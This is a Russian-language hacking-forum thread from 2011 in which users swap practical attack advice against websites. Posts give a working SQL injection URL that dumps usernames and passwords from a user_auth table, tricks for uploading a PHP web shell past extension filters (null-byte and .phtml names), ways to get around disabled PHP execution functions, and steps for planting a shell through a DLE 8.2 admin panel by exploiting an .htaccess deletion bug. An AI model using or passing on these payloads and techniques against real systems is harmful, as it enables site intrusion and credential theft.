 |
|

05.11.2011, 22:08
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Сообщение от SergioBlog
Если отрублены функции exec,passthru,popen,proc_open,shell_exec,system,pc ntl_exec есть другие варианты?)))
perl, python, ssi, disable_functions bypass
|
|
|

05.11.2011, 23:38
|
|
Новичок
Регистрация: 24.10.2011
Сообщений: 9
С нами:
7658966
Репутация:
0
|
|
Сообщение от Expl0ited
Код:
www.xxx.xx/text.php?content_id=-4+union+select+UNHEX(HEX(concat_ws(char(58),user_name,user_password)))+from+user_auth+limit+0,1--+
скобку пропустил
вставил не помогает =(
|
|
|

05.11.2011, 23:54
|
|
Новичок
Регистрация: 03.05.2009
Сообщений: 7
С нами:
8960082
Репутация:
-14
|
|
Хочу залить шелл через баннер / картинку...
Побываю так shell.php%00.gif shell.php.gif если просто shell.php то режет...Локального инклуда нет
Есть ещё варианты?
|
|
|

06.11.2011, 11:36
|
|
Познающий
Регистрация: 03.11.2011
Сообщений: 83
С нами:
7644566
Репутация:
11
|
|
Einstein,
Код HTML:
www.xxx.xx/text.php?content_id=-4+union+select+UNHEX(HEX(concat(user_name,char(58),user_password)))+from+0x757365725f61757468+limit+0,1--+[/HTML
[B]aydin-ka[/B],
Название CMS? Попробуй старый добрый *.phtml.
|
|
|

06.11.2011, 12:32
|
|
Новичок
Регистрация: 17.01.2009
Сообщений: 7
С нами:
9112635
Репутация:
9
|
|
иметься доступ в админ ку DLE V8.2 требуется залить шелл через админ ку как это сделать ?
|
|
|

06.11.2011, 12:37
|
|
Познающий
Регистрация: 03.11.2011
Сообщений: 83
С нами:
7644566
Репутация:
11
|
|
-=Sinner=-,
через "Настройки системы" пиши в config! Сделай разрешенным тип файла *.phtml и залей прямо с http://site/engine/images.php и т.д.
|
|
|

06.11.2011, 12:46
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от -=Sinner=-
иметься доступ в админ ку DLE V8.2 требуется залить шелл через админ ку как это сделать ?
прийдется помудрить с разрешенными раширениями.сначала залей .htaccess потом удаляй его..из за баги удалится оригинальный файл потом уже файл нужный
|
|
|

06.11.2011, 12:49
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от tabletkO
-=Sinner=-
,
через "Настройки системы" пиши в config! Сделай разрешенным тип файла *.phtml и залей прямо с http://site/engine/images.php и т.д.
и часто ты так заливал? и у тебя шелл работал?
|
|
|

06.11.2011, 12:55
|
|
Новичок
Регистрация: 17.01.2009
Сообщений: 7
С нами:
9112635
Репутация:
9
|
|
Сообщение от tabletkO
-=Sinner=-
,
через "Настройки системы" пиши в config! Сделай разрешенным тип файла *.phtml и залей прямо с http://site/engine/images.php и т.д.
Разрешения загружаемых файлов dzmvdq,pdf,htaccess,php,zip,rar,phtml,doc,exe
так же доступна загрузка изображений с самой админки может это как то облегчит заливку шелла ?
|
|
|

06.11.2011, 13:10
|
|
Познающий
Регистрация: 03.11.2011
Сообщений: 83
С нами:
7644566
Репутация:
11
|
|
Gorev,
да работал, но конечно сначала удалил .htaccess...
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 9 (пользователей: 0 , гостей: 9)
|
|
|
|